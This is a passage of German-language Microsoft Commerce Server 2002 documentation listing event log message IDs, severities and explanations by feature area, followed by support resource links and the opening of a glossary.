20502 | Warnung | Der Katalog "%1" wird von Microsoft Commerce Server exportiert.
20503 | Fehler | Ungültige Eigenschaftsverwendung in Produkt. %1. Mögliche Ursachen sind: Bei einer Zeichenfolgeneigenschaft überschreitet der Eigenschaftswert die Eigenschaftslänge, bei einer Aufzählungseigenschaft ist der Aufzählungswert nicht vorhanden, oder bei einer Datumseigenschaft liegt das Datum nicht im festgelegten Datumsbereich.
20504 | Fehler | Die Datei %1 kann nicht geöffnet oder erstellt werden.
20505 | Fehler | Ungültige Daten in der Datei %1.
20512 | Fehler | Der neue Import-/Exportvorgang kann nicht gestartet werden, bis der laufende Import abgeschlossen wurde.
20513 | Fehler | Fehler beim Aktualisieren des Preises (cy_list_price) %1 %2.
20514 | Fehler | Fehler beim Konvertieren der Daten von ihrem Datentyp in eine Zeichenfolge.
20515 | Fehler | 0.01
20516 | Fehler | Die von Ihnen festgelegte Zeichenfolge "%1" beinhaltet eines der reservierten Zeichen (die nicht zulässigen Zeichen "[," ").
20517 | Fehler | Volltextindizes werden erstellt.
20518 | Fehler | Die Kategorie %1 ist bereits im Katalog vorhanden. Kategorienamen in einem Katalog sollten eindeutig sein.
20519 | Fehler | Das Produkt %1 ist bereits im Katalog vorhanden. Produktnamen in einem Katalog sollten eindeutig sein.
20520 | Fehler | Die Produktvariante %1 ist bereits im Katalog vorhanden. Produktvariantennamen in einem Katalog sollten eindeutig sein.
20521 | Fehler | Der Katalog %1 ist nicht vorhanden.
20522 | Fehler | Sollte nicht mit einem Definitionsnamen übereinstimmen. Geben Sie einen gültigen Katalognamen an.
20523 | Fehler | Der Wert für die Eigenschaft %1 liegt nicht im Bereich zwischen Minimum und Maximum für ganzzahlige Werte. Gültige Werte für die Eigenschaft sollten zwischen -2147483648 und 2147483647 liegen.
20524 | Fehler | Der Wert für die Eigenschaft %1 liegt nicht im Bereich zwischen Minimum und Maximum für große ganzzahlige Werte. Gültige Werte für die Eigenschaft sollten zwischen -9223372036854775808 und 9223372036854775807 liegen.
20525 | Fehler | Der Datentyp für große ganze Zahlen wird nur auf SQL Server 8 oder höher unterstützt. Fehler in der XML-Datei %1 in Zeile %2 bei Position %3.
20526 | Fehler | Nicht definierte Eigenschaft. Die Katalogeigenschaft %1 unter der Definition %2 wurde in der XML-Datei nicht definiert.
20527 | Fehler | Die Datei %1 kann nicht geöffnet werden. Das System verfügt nicht über genügend Arbeitsspeicher.
20528 | Fehler | Das in der CSV-Datei enthaltene Attribut %1 ist eine integrierte Spalte in der Katalogproduktetabelle und kann nicht als Attribut verwendet werden. Sie müssen das Attribut umbenennen. Die CSV-Datei ist ungültig.
20529 | Fehler | Eine ungültige Eigenschaft %1 wird im Katalog %2 für das Produkt %3 verwendet. Mögliche Ursachen können sein: Bei einer Zeichenfolgeneigenschaft überschreitet der Eigenschaftswert die Eigenschaftslänge, bei einer Aufzählungseigenschaft ist der Aufzählungswert nicht vorhanden oder bei einer Datumseigenschaft liegt das Datum nicht im festgelegten Datumsbereich.
20530 | Fehler | Das Produkt %1 in Katalog %2 ist in mehreren Preiskategorien vorhanden. Die Preisgestaltungsregel wird für das Produkt nicht übernommen, und es wird den Originalpreis behalten.


Funktionsbereich: Komponenten

Die folgende Tabelle enthält bekannte Ereignismeldungen für die Komponenten.

Meldungs-ID | Schweregrad | Kommentare
4096 | Warnung | 0.01Ereignis wird von der WriteErrorEvent-Methode des AdminEventLog-Objekts verwendet.
4097 | Fehler | 0.01Ereignis wird von der WriteErrorEvent-Methode des AdminEventLog-Objekts verwendet.
4098 | Information | 0.01Ereignis wird von der WriteInformationalEvent-Methode des AdminEventLog-Objekts verwendet.
4100 | Fehler | Windows: %1<seltene Verwendung/veraltet> Wird von einer kleinen Gruppe an Komponenten einschließlich Katalog protokolliert. Dient dazu, Win32-Systemfehler zu melden.
4101 | Fehler | Commerce Server: %1<seltene Verwendung/veraltet> Wird von einer kleinen Gruppe an Komponenten einschließlich Katalog protokolliert, um verschiedene Commerce-Fehler zu melden.
4103 | Fehler | Verbindungsfehler: %1<nicht verwendet>
4104 | Fehler | <falls Fehler in einer Komponente auftritt> Fehler bei der Komponentenausführung für Komponente [0x%1!X!] hr: 0x%2!X! Dient dazu, alle Fehler bei der Pipeline-/Komponentenausführung zu melden.
4105 | Fehler | [OrderDiscount]: Der Preisnachlass mit der Kennung %1 hat einen ungültigen Wert für das Feld '%2'. Der Preisnachlass ist nicht mehr gültig. In der Inhaltsliste wurde ein ungültiger Preisnachlass festgestellt. Mit dieser Warnung von OrderDiscount wird mitgeteilt, dass der Preisnachlass als inaktiv behandelt wird, sodass er nicht mehr angewendet werden kann.
4106 | Fehler | WIN32-Systemfehler. Wenn das Problem wiederholt auftritt, wenden Sie sich an den Technischen Support von Microsoft mit folgenden Informationen: Quelldatei: %1, Zeile: %2, WIN32_Fehler: %3". <nicht verwendet>
4107 | Fehler | COM-Systemfehler. Wenn das Problem wiederholt auftritt, wenden Sie sich an den Technischen Support von Microsoft mit folgenden Informationen: Quelldatei: %1, Zeile: %2, COM_HRESULT: %3". <nicht verwendet>
4108 | Fehler | Fehler beim Aufrufen von CoCreateInstance(CLSID_StdGlobalInterfaceTable). CS40-Pipelines erfordern NT4SP3 oder höher. Von der Pipeline protokolliert, wenn diese Abhängigkeit auf der Systemebene nicht erfüllt ist.
4109 | Fehler | Fehler beim Registrieren der COM+-Anwendung %1. HRESULT %2. Protokolliert vom Registrierungscode für die COM+-Anwendung für Pipelines (der normalerweise vom Setup ausgeführt wird)
4110 | Fehler | Fehler beim Registrieren der COM+-Komponente %1. HRESULT %2. Protokolliert vom Registrierungscode für die COM+-Anwendung für Pipelines (der normalerweise vom Setup ausgeführt wird)
4111 | Fehler | Fehler beim Entfernen der Registrierung der COM+-Anwendung %1. HRESULT %2. Protokolliert vom Registrierungscode für die COM+-Anwendung für Pipelines (der normalerweise vom Setup ausgeführt wird)


Funktionsbereich: Core

Die folgende Tabelle enthält bekannte Ereignismeldungen für Core.

Meldungs-ID | Schweregrad | Kommentare
4112 | Fehler | Der Commerce Server 2002-Leistungsindikator übersteigt den Grenzwert von 2000. Auf einem Server können maximal 2000 Pipelinekomponenten durch einen Leistungsindikator überwacht werden.


Funktionsbereich: Allgemein

Die folgende Tabelle enthält bekannte allgemeine Ereignismeldungen.

Meldungs-ID | Schweregrad | Kommentare
32768 | Fehler | Der Evaluierungszeitraum für Commerce Server 2002 ist abgelaufen. Wenden Sie sich an Microsoft, um eine lizenzierte Version von Commerce Server 2002 zu erhalten. Zeitbeschränkung abgelaufen.
32769 | Fehler | Der Evaluierungszeitraum für BizTalk Server 2000 ist abgelaufen. Wenden Sie sich an Microsoft, um eine lizenzierte Version von BizTalk Server 2000 oder höher zu erhalten. <nicht verwendet>
32770 | Fehler | Der Evaluierungszeitraum für das Produkt ist abgelaufen. Wenden Sie sich an Microsoft, um eine lizenzierte Version des Produkts zu erhalten. <nicht verwendet>
32771 | Warnung | Der Evaluierungszeitraum für Commerce Server 2002 läuft in zehn Tagen ab. Wenden Sie sich an Microsoft, um eine lizenzierte Version von Commerce Server 2002 zu erhalten. Ablaufen der Zeitbeschränkung steht kurz bevor.
32772 | Warnung | Der Evaluierungszeitraum für BizTalk Server 2000 läuft in zehn Tagen ab. Wenden Sie sich an Microsoft, um eine lizenzierte Version von BizTalk Server 2000 oder höher zu erhalten. <nicht verwendet>


Funktionsbereich: Marketing

Die folgende Tabelle enthält bekannte Ereignismeldungen für das Marketing.

Meldungs-ID | Schweregrad | Kommentare
8192 | Fehler | Beim Aktualisieren des Caches wurde vom Cache-Manager ein Fehler zurückgegeben: '%1'. Fehler bei der Aktualisierung des Caches werden von dieser Methode gemeldet. Die protokollierte Fehlermeldung enthält die Quellkomponente und eine Beschreibung.
8193 | Warnung | Commerce.WriteEvents: Es wurde kein Leistungswörterbuch gefunden. Das Wörterbuch, das Anzeigenereignisdaten enthält (Anforderung und Klicken), war nicht im Cache vorhanden. Ohne dieses Wörterbuch können WriteEvents können keine Aktionen ausführen.
8194 | Warnung | Commerce.WriteEvents: Der Kampagnenartikel mit ID %1 ist nicht vorhanden. <nicht verwendet>
8195 | Warnung | Commerce.LoadAdvertisements: Es wurden keine aktiven Anzeigen von der Abfrage zurückgegeben. Sie sollten Eigenwerbung planen, um diese Nachricht zu vermeiden. Warnmeldung, die von CSFLoadAdvertisements bei der ersten Aktualisierung nach dem Anwendungsstart protokolliert wird, wenn die Datenbank keine aktiven Anzeigen enthält.
8196 | Fehler | 0.01Von Ressourcen auf der Grundlage des spezifischen Fehlers abgerufene tatsächliche Fehlermeldung. Alle ListManager-Fehler werden protokolliert.
8197 | Fehler | Marketing-DTS: Es kann keine Bindung an den Commerce OLEDB-Provider mit dem folgenden URL erfolgen: %1. OLEDB-Fehler
8198 | Fehler | Marketing-DTS: %1 Dient dazu, eine Reihe von schweren Fehlern im Marketing DTS-Task zu melden. Der Wortlaut der Fehlermeldung hängt vom Fehler ab.
8199 | Fehler | Die Kampagnen-Verbindungszeichenfolge kann nicht festgelegt werden: %1 Fehler beim ADO-Aufruf von put_ConnectionString
8200 | Fehler | Der Import der Marketing-DTS wurde gestartet <nicht verwendet - auskommentiert - Bug #29037>
8201 | Fehler | Fehler beim Ausfüllen der DB-Spaltenzugriffstrukturen für die Klasse: %1. OLEDB-Fehler
8202 | Fehler | OLEDB-Fehler
8203 | Fehler | DTS-Marketingtask: Die Daten wurden erfolgreich importiert: %1. Wird bei erfolgreicher Beendigung des Marketing-DTS-Tasks protokolliert.
8204 | Warnung | Listen-Manager-Dienstkontrollbenachrichtigung: %1. Wird beim Starten und Beenden des Dienstes protokolliert.


Funktionsbereich: Personalisierungsleistung

Die folgende Tabelle enthält bekannte Ereignismeldungen für den Bereich der Personalisierungsleistung.

Meldungs-ID | Schweregrad | Kommentare
28672 | Fehler | CSPerfCounters-Komponente: Fehler beim Initialisieren der Sicherheitsattribute.
28673 | Fehler | CSPerfCounters-Komponente: Fehler beim Erstellen von - '%1'.
28674 | Fehler | CSPerfCounters-Komponente: Fehler beim Lesen der INI-Datei - '%1'
28675 | Fehler | CSPerfCounters-Komponente: Fehler beim Registrieren - '%1'


Funktionsbereich: Profilsystem

Die folgende Tabelle enthält bekannte Ereignismeldungen für das Profilsystem.

Meldungs-ID | Schweregrad | Kommentare
16384 | Fehler | Interner Fehler in Profildienst-Komponente.
16385 | Fehler | Der Profildienst-Datentyp kann nicht in den oder aus dem systemeigenen Datentyp des zugrunde liegenden Datenspeichers konvertiert werden.
16386 | Fehler | Es wurde ein ungültiger Vorgang auf der Profildienst-Komponente ausgeführt.
16387 | Fehler | Der aktuelle Vorgang wurde mit einem gelöschten Objekt ausgeführt und kann deshalb nicht ausgeführt werden. Geben Sie das Handle auf das gelöschte Objekt frei.
16388 | Fehler | Der aktuelle Vorgang wurde unter Verwendung eines ungültigen Profiltyps ausgeführt.
16389 | Fehler | Der Wert der Eigenschaft kann nicht aktualisiert werden, da es sich um eine Verbindungsschlüsseleigenschaft handelt. Die Verbindungsschlüsseleigenschaft eines dauerhaft gespeicherten Objekts kann nicht geändert werden. Diese Fehlermeldung wird ausgegeben, wenn versucht wird, den Verbindungsschlüssel eines dauerhaft gespeicherten Objekts zu ändern.
16390 | Fehler | Das Profildienst-Objekt kann nicht erneut initialisiert werden. Die Profildienst-Komponente kann nicht mehrfach initialisiert werden.
16392 | Fehler | Dem Profildienst-Objekt wurde eine ungültige Verbindungszeichenfolge angegeben.
16393 | Fehler | Ungültige Profildefinition.
16394 | Fehler | Nicht genügend Stackspeicher in der Profildienst-Komponente vorhanden.
16395 | Fehler | Das Profilobjekt ist bereits vorhanden.
16396 | Fehler | Das Profilobjekt wurde nicht gefunden. Überprüfen Sie den Schlüsselelementnamen und den Elementwert, und versuchen Sie es erneut.
16397 | Fehler | Profildienst-Objekt ist nicht initialisiert.
16398 | Fehler | Der Profildefinitionskatalogname, der der Initialisierungsmethode des Profildienstes bereitgestellt wurde, ist ungültig.
16399 | Fehler | Eine Mehrfacheigenschaft einer Profildefinition kann nicht als Schlüssel markiert werden.
16400 | Fehler | Ein ungültiger Wert wurde für das Schlüsselelement festgelegt.
16401 | Fehler | Eine wiederherstellbare Race-Bedingung wurde im Cache des Profilobjekts entdeckt. Führen Sie den Aufruf erneut aus. Dieser Fehler kann in zwei Szenarien auftreten: (a) Wenn zwei (oder mehr) Threads gleichzeitig versuchen, ein nicht im Profilobjektcache vorhandenes Profilobjekt abzurufen und dem Cache dieses Objekt hinzuzufügen, geben alle Threads mit Ausnahme des ersten diesen Fehler zurück. In diesem Szenario handelt es sich um einen Fehler ohne Auswirkungen, der ignoriert werden kann. (b) Profilobjektdaten entsprechen nicht den Profildefinitionsregeln (z. B. mehrere Objekte, die denselben Wert für eine Eigenschaft besitzen, die als eindeutiger Schlüssel gekennzeichnet ist).
16402 | Fehler | Der Cache des Profilobjekts ist voll. Geben Sie geänderte Daten frei, und wiederholen Sie den Vorgang. Wenn die Probleme wiederholt auftreten, lesen Sie die Profildienst-Dokumentation.


Funktionsbereich: Vorhersagedienst

Die folgende Tabelle enthält bekannte Ereignismeldungen für den Vorhersagedienst.

Meldungs-ID | Schweregrad | Kommentare
24577 | Warnung | Vorhersagedienst: Es wurden nur %1 Fälle bei der Modellerstellung aus der Konfiguration '%2' gefunden. Mindestens %3 Fälle werden empfohlen. Dieser Fehler tritt auf, wenn die Datenbasis (die Anzahl der verschiedenen Fälle) zu klein ist.
24578 | Fehler | Vorhersagedienst: Das Modell '%1' ist bereits vorhanden. Die Erstellung wurde nicht gestartet.
24579 | Information | Vorhersagedienst: Handler ist nicht installiert. Dieser Fehler tritt auf, wenn CS ohne den Vorhersagedienst installiert wurde und dennoch versucht wird, die Verbindung zu einem Remotevorhersagedienst herzustellen.
24580 | Information | Vorhersagedienst beendet.
24581 | Information | Vorhersagedienst gestartet.
24582 | Information | Vorhersagedienst: Ungültige Dienstanforderung. Dieser Fehler tritt auf, wenn versucht wird, auf unzulässige Weise eine Verbindung mit dem Dienst herzustellen.
24583 | Fehler | Vorhersagedienst: Beginn des Erstellens von Modell '%1' unter Verwendung der Modellkonfiguration '%2'.
24584 | Fehler | Vorhersagedienst: Fehler beim Erstellen des Modells aus der Modellkonfiguration '%1': %2. %2 ist die Fehlerbeschreibung.
24590 | Fehler | Vorhersagedienst: Fehler beim Löschen des Modells '%1': %2. %2 ist die Fehlerbeschreibung.
24591 | Fehler | Vorhersagedienst: Fehler beim Unbenennen des Modells '%1' in '%2': %3. %3 ist die Fehlerbeschreibung.
24592 | Fehler | Vorhersagedienst: Fehler beim Löschen der Modellkonfiguration '%1': %2. %2 ist die Fehlerbeschreibung.
24593 | Fehler | Vorhersagedienst: Fehler beim Unbenennen der Modellkonfiguration '%1' in '%2': %3. %3 ist die Fehlerbeschreibung.
24594 | Information | Vorhersagedienst: Das Modell '%1' wurde gelöscht.
24595 | Information | Vorhersagedienst: Das Modell '%1' wurde umbenannt in '%2'.
24596 | Information | Vorhersagedienst: Die Modellkonfiguration '%1' wurde gelöscht.
24597 | Information | Vorhersagedienst: Die Modellkonfiguration '%1' wurde umbenannt in '%2'.


Funktionsbereich: Sitekonfiguration

Die folgende Tabelle enthält Ereignismeldungen für die Sitekonfiguration.

Meldungs-ID | Schweregrad | Kommentare
36865 | Fehler | Fehler in MSCSSiteConfig.cls::Initialize
36866 | Fehler | Fehler in MSCSSiteConfigAdmin.cls::ImportResource
36867 | Fehler | Fehler in MSCSSiteConfigAdmin.cls::ExportResource
36868 | Fehler | Fehler in MSCSSiteConfigAdmin.cls::AddRefToGroupComponent
36869 | Fehler | Fehler in Commerce SiteAdmin. Objektfehler


Funktionsbereich: Direct Mailer

Die folgende Tabelle enthält bekannte Ereignismeldungen für Direct Mailer.

Meldungs-ID | Schweregrad | Kommentare
10 | Information | Der Dienst wurde gestartet. DirectMailer wurde gestartet.
11 | Information | Der Dienst wurde beendet. DirectMailer wurde beendet.
12 | Information | Der Auftrag %1 wurde abgeschlossen. Auftragsname: %2. Startzeit: %3. Beendigungszeit: %4. Empfängeranzahl: %5. Fehlernummer: %6. Auftragsabschlussmeldung.
256 | Warnung | Ungültige Steuerelementanforderung. Es wurde eine unzulässige Dienstkontrollanforderung empfangen.
257 | Warnung | Fehler beim Öffnen einer Protokolldatei bzw. beim Anhängen an diese: %1. Die Protokollierung wird deaktiviert. Während der Protokollierung ist ein Fehler aufgetreten. Die Protokollierung wurde beendet.
258 | Warnung | Der Auftrag '%1' wurde abgebrochen, weil entweder ein schwerer Fehler auftrat oder weil die Gesamtanzahl der Fehler für diesen Auftrag den Grenzwert überschritt.
259 | Warnung | Der Auftrag '%1' wurde wegen einer Anforderung zum Herunterfahren des Systems abgebrochen. Der Auftrag wurde wegen der Anweisung zum Herunterfahren des Computers nicht beendet.
260 | Warnung | Fehler beim Herstellen einer Verbindung mit der DirectMailer-Datenbank. Überprüfen Sie die Konfigurationseinstellungen und den Status des Datenbankservers. Fehler in der Datenbankverbindung.
261 | Warnung | Der Auftrag %1 wurde abgebrochen, da die DirectMailer-Datenbank nicht mehr verfügbar ist. Auftragsname: %2. Startzeit: %3. Beendigungszeit: %4. Empfängeranzahl: %5 von %6. Fehlernummer: %7. Der Auftrag wird weiterhin als aktuell ausgeführter Auftrag (3) angezeigt, auch nachdem die Datenbank wieder online geschaltet wurde. Sie können den Auftrag neu starten, indem Sie den Befehl "dmlrun.exe /run:%1" ausführen oder den Direct Mailer-Dienst beenden und neu starten. Auftrag wurde beendet, da die SQL-Datenbank nicht mehr verfügbar war und die konfigurierte maximale Anzahl der Wiederholungsversuche erreicht wurde.
262 | Warnung | Der Auftrag %1 wurde vorzeitig beendet. Auftragsname: %2. Startzeit: %3. Beendigungszeit: %4. Empfängeranzahl: %5 von %6. Fehleranzahl: %7. Der Auftrag wurde vor seiner Fertigstellung abgebrochen. Fortsetzen ist möglich.
512 | Fehler | Der Dienst kann nicht gestartet werden: Der Diensthandler ist nicht installiert. Schwerer Fehler beim Starten des Dienstes.
513 | Fehler | Der Dienst kann wegen des folgenden Fehlers nicht initialisiert werden: %1. Beheben Sie das Problem, und starten Sie den Dienst neu. Fehler beim Starten des Dienstes.
514 | Fehler | Der Dienst kann nicht initialisiert werden - eine unbekannte Ausnahmebedingung ist aufgetreten. Beim Starten des Dienstes wurde eine unbehandelte Ausnahme ausgelöst.
515 | Fehler | Auf die Dienstkonfigurationsinformationen kann wegen des folgenden Fehlers nicht zugegriffen werden: hr=0x%1!x! %2. Beheben Sie das Problem, und starten Sie den Dienst neu. Fehler beim Lesen der Dienstkonfiguration.
516 | Fehler | Auf die Dienstkonfiguration kann nicht zugegriffen werden - eine unbekannte Ausnahmebedingung ist aufgetreten. Beim Lesen der Dienstkonfiguration wurde eine unbehandelte Ausnahme ausgelöst.
517 | Fehler | Ereignis ohne Behandlung im Modul: %1. Die Ausführung des Moduls wurde beendet. Eine unbehandelte Ausnahme im Dienst führte zum Abbruch.
518 | Fehler | Der Dienst wurde zwar gestartet, konnte jedoch keine Verbindung mit der Datenbank herstellen. Beheben Sie das Problem, und starten Sie den Dienst neu. Der Dienst versucht beim Starten mehrmals, die Verbindung herzustellen, und bricht anschließend ab.
519 | Fehler | Fehler bei CDO-Initialisierung: %1<nicht verwendet>
520 | Fehler | Fehler bei ADO-Initialisierung: %1<nicht verwendet>
521 | Fehler | Fehler bei ADO-Verbindung zur DirectMailer-Datenbank: %1. Überprüfen Sie die Konfigurationseinstellungen. <nicht verwendet>
522 | Fehler | Fehler beim Ausführen des ADO-Befehls wegen des folgenden Problems: %1. Überprüfen Sie die Konfigurationseinstellungen <wenig aussagekräftig, da nicht konsistent verwendet> Wird an einigen Stellen protokolliert, wenn ein ADO-Befehl fehlschlägt.
523 | Fehler | Ungültige(r) Konfigurationsparameter <nicht verwendet>
524 | Fehler | Fehler beim Erstellen oder Bearbeiten eines Commerce Site Server Core-Objekts '%1'. Fehlercode %2. <wenig aussagekräftig> Wird an einer Stelle während der Initialisierung verwendet, um einen SimpleList-Fehler zu melden.
525 | Fehler | Fehler beim Erstellen oder Bearbeiten eines internen Objekts '%1'. Die Ausführung wurde beendet. <wenig aussagekräftig> Wird an einer Stelle während der Initialisierung verwendet, um zu melden, welche Bedingungen konkret dazu führen, dass nicht genügend Arbeitsspeicher vorhanden ist.


Funktionsbereich: DTS-Modell-Generator-Task

Die folgende Tabelle enthält bekannte Ereignismeldungen für den DTS-Modell-Generator-Task.

Meldungs-ID | Schweregrad | Kommentare
26625 | Information | DTS-Modell-Generator-Task: %1. Meldet den Beginn der Modellerstellung. %1 wird durch eine Meldung ersetzt, die aus der Ordnungszahl der Version und dem Modellnamen besteht. D. h., die Erstellung des Modells "Test" wurde zum ersten Mal gestartet.
26626 | Fehler | DTS-Modell-Generator-Task: %1. Meldet einen Fehler bei der Modellerstellung. %1 wird durch eine Fehler- und Wiederholungsmeldung ersetzt. D. h., die Erstellung ist fehlgeschlagen - Wiederholungsnummer 1 von 5 in 30 Sekunden.
26627 | Information | DTS-Modell-Generator-Task: %1. Meldet das Ende der Erstellung. %1 wird durch eine Meldung ersetzt, die den Modellnamen enthält. D. h., die Erstellung des Modells "Test" wurde erfolgreich abgeschlossen.


Weitere Informationen zur Problembehandlung

Die folgenden Ressourcen enthalten weitere Informationen zur Problembehandlung:

Ressource | Verzeichnis
Hilfethemen zum Debuggen in der Commerce Server 2002-Hilfe
  • Debugging Business Desk (englisches Thema)
  • Content Selection Framework Concepts (englisches Thema)
Infodatei zu Commerce Server 2002 | Microsoft Commerce Server 2002-Installations-CD
Microsoft Commerce Server-Website | http://go.microsoft.com/fwlink/?LinkId=954
Commerce Server-Lösungssites Enthält technische Informationen und Downloadversionen der Commerce Server-Lösungssites.

http://go.microsoft.com/fwlink/?LinkId=6767
TechNet Enthält in englischer Sprache technische Informationen und Tools zum Planen, Entwickeln, Bereitstellen und Verwalten von E-Commerce-Websites.

Informationen zu Commerce Server erhalten Sie, wenn Sie auf der linken Bildschirmseite im Menü Products & Technologies den Eintrag Commerce Server auswählen.

http://go.microsoft.com/fwlink/?LinkId=5160
Microsoft Commerce Server 2002 Software Development Kit (SDK) | Enthält in englischer Sprache technische Informationen für Entwickler, die Programme bzw. intelligente Webseiten erstellen, die mit der Schnittstelle für Anwendungsprogrammierung (API) von Commerce Server integriert werden müssen. Das SDK enthält Richtlinien für Programmierer und Verweise auf verschiedene Commerce Server- und Commerce-Technologien. Des Weiteren umfasst es Beispiele und Headerdateien zur Erstellung eigener Programme. In Commerce Server 2002 enthalten (englisch).
Microsoft Commerce Server 2000 Resource Kit | Das Commerce Server 2000 Resource Kit umfasst technische Informationen und Tools zum Planen, Entwickeln, Bereitstellen und Verwalten von E-Commerce-Websites. Es ist erhältlich bei Microsoft Press.
MSDN-Informationen | Enthält in englischer Sprache Informationen zu Commerce Server und anderen Microsoft .NET Enterprise Servern. Die Informationen in dieser Site werden regelmäßig aktualisiert. Klicken Sie auf Search MSDN, und geben Sie Commerce Server ein, um verwandte Dokumente und Whitepapers aufzurufen. http://go.microsoft.com/fwlink/?LinkId=5161
Microsoft-Serversite Hier finden IT-Fachleute, Entwickler und Internetspezialisten umfangreiche Angaben zu sämtlichen Serverprodukten von Microsoft (in englischer Sprache).

http://go.microsoft.com/fwlink/?LinkId=6732
Newsgroups Ankündigungen und Supportinformationen für diese Version finden Sie in der Newsgroup Microsoft.private.CS2002.Discussion auf dem Server privatenews.microsoft.com.

Verwenden Sie folgende Angaben für Benutzer-ID und Kennwort, um auf diese Newsgroup zuzugreifen:

  • Gemeinsam genutzte Benutzer-ID: privatenews\cs2002
  • Kennwort: cs2002

Weitere Informationen zum Zugreifen auf Microsoft-Newsgroups finden Sie unter http://go.microsoft.com/fwlink/?LinkId=5816
Premier Support Premier Support bietet proaktiven Zugriff auf spezielles Fachwissen, das von großen Unternehmen benötigt wird, um den Geschäftswert zu optimieren und die Gesamtkosten auf ein Minimum zu reduzieren. Weitere Informationen finden Sie auf den benutzerdefinierten Supportsites für Premier-Kunden und auf den folgenden Factsheets. Um weitere Informationen zu erhalten, rufen Sie die Microsoft Support Services-Vertragsberatung unter einer der folgenden Rufnummern an:
In Deutschland: (01805) 67 23 30
In Österreich: (01) 5 02 22-2330
In der Schweiz: (0848) 80 23 30
  • Microsoft Premier Support for Enterprises
  • Microsoft Premier Support for Developers
  • Microsoft Premier Support for Microsoft Certified Partners
  • Microsoft Premier Support for Original Equipment Manufacturers (OEMs)
  • Microsoft Authorized Premier Support


Glossar

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Symbole

.NET Framework

Eine Plattform zum Erstellen, Bereitstellen und Ausführen von Webdiensten und Anwendungen. Das .NET Framework bietet eine leistungsstarke, auf allgemeinen Standards basierende mehrsprachige Umgebung für die Integration vorhandener Investionen eines Unternehmens in zukunftsorientierte Anwendungen und Dienste sowie die erforderliche Flexibilität, um den Anforderungen der Bereitstellung und des Einsatzes von Internetanwendungen gerecht zu werden. Das .NET Framework besteht aus drei Hauptteilen: der Common Language Runtime, einer hierarchisch aufgebauten Sammlung einheitlicher Klassenbibliotheken und ASP.NET, einer in Komponenten zerlegten Version von ASP.

Siehe auch: ASP.NET, Common Language Runtime

A

Abfrage

Eine spezifische Anforderung, Daten abzurufen, zu ändern oder zu löschen.

Abgeleitete Kategorie

Eine Kategorie, die über eine oder mehrere Parent-Child-Beziehungen einer anderen Kategorie untergeordnet ist. Auch eine untergeordnete Kategorie ist eine abgeleitete Kategorie, ebenso wie die untergeordnete Kategorie dieser Kategorie usw.

Siehe auch: Vorgängerkategorie, Abgeleitete Produkte, Stammkategorie, Übergeordnete Kategorie, Untergeordnete Kategorie

Abgeleitete Produkte

Produkte, die einer Kategorie oder einer ihr untergeordneten Kategorie zugewiesen sind.

Siehe auch: Abgeleitete Kategorie

Abgeschlossene Berichte (Modul)

Ein Modul von Commerce Server Business Desk, das zum Anzeigen des Ausführungsstatus von statischen Berichten und zum Anzeigen der abgeschlossenen Berichte verwendet wird.

Abgeschlossener Besuch

Ein Besuch, der beendet wird, bevor die Datensammlung durch die Protokolldatei abgeschlossen ist.

Siehe auch: Offener Besuch, Protokolldatei, Besuch

Abhängigkeitsnetzwerk

Eine grafische Zusammenfassung der in einem Vorhersagemodell enthaltenen Vorhersagebeziehungen (Abhängigkeiten). Verwenden Sie den Vorhersagemodell-Viewer zum Anzeigen eines Abhängigkeitsnetzwerks.

Siehe auch: Bogen, Entscheidungsbaum

Ablaufverfolgung

Eine Form des Debugging, bei der mithilfe der Trace-Klasse Ausführungsdetails einer laufenden Anwendung aufgezeichnet und dargestellt werden. Die Ablaufverfolgung steht allen ASP.NET-Klassen zur Verfügung, die eine Trace-Eigenschaft implementieren.

Abonnementkündigung

Ein Vorgang, den ein Benutzer ausführt, um das Abonnement einer Mailingliste zu widerrufen. Der Benutzer wird zur Abonnementkündigungsliste hinzugefügt.

Abonnementkündigungsliste

Eine Liste der Benutzer, die sich entschlossen haben, das Abonnement einer Mailingliste zu kündigen.

Abonnieren

Ein Vorgang, den ein Benutzer ausführt, um eine Mailingliste zu abonnieren.

Abonnieren

Ein Prozess, bei dem Benutzer ihre E-Mail-Adressen auf eine Liste des Listen-Managers setzen, um Inhalte zu erhalten, oder Registrierungsinformationen zur Verfügung stellen, um Inhalte abzurufen oder Zugang zu Diensten oder Sites zu erhalten.

Abrufseite (Fetch Page)

Eine bestimmte Art von ASP-Seite (Active Server Pages), mit der XML-Dokumente (Extensible Markup Language), die Daten im Standard-XML-Datenformat enthalten, abgerufen werden können. Auf der zurückgegebenen Seite sind ausschließlich XML-Daten vorhanden. Die ListSheet- und TreeView-HTCs erwarten dieses Datenformat, wenn sie XML/HTTP-Operationen vornehmen.

Abschluss

Der endgültige Abschluss eines Verkaufs in einer Website. Beim Einkauf in Ihrer Website wählen die Kunden u. U. verschiedene Artikel aus und speichern sie in ihrem Warenkorb. Nach dem Einkauf klicken sie auf einen Link oder eine grafische Schaltfläche, um ein Onlineformular aufzurufen, in dem sie Namen, Rechnungsadresse, Zahlungsart und Lieferinformationen eingeben.

Active Directory

Der Verzeichnisdienst für Windows NT 4.0 und Windows 2000 Server. Active Directory speichert Informationen über die im Netzwerk vorhandenen Objekte und stellt sie autorisierten Systemadministratoren und Benutzern zur Verfügung. Es ermöglicht Netzwerkbenutzern mit einer einzigen Anmeldung den Zugriff auf zugelassene Ressourcen, die sich an einer beliebigen Stelle im Netzwerk befinden können. Darüber hinaus stellt Active Directory Systemadministratoren eine intuitive hierarchische Ansicht des Netzwerks und eine zentrale Verwaltungsplattform für alle Netzwerkobjekte zur Verfügung.

Active Directory Service Interfaces (ADSI)

Ein Verzeichnisdienstmodell, das auf Component Object Model (COM) basiert und mit dem ADSI-kompatible Clientanwendungen über einheitliche, standardisierte Schnittstellen auf eine große Zahl verschiedener Verzeichnisprotokolle wie Windows Directory Services, LDAP (Lightweight Directory Access Protocol) und NDS (Novell Directory Services) zugreifen können. ADSI schirmt die Clientanwendung von der Implementierung und den funktionalen Einzelheiten des zugrunde liegenden Datenspeichers oder Protokolls ab.

Active Server Page-Erweiterung (ASPX)

Die für ASP-Seiten verwendete Erweiterung, die mit ASP.NET programmiert wurden.

Siehe auch: ASP.NET

Active Server Pages (ASP)

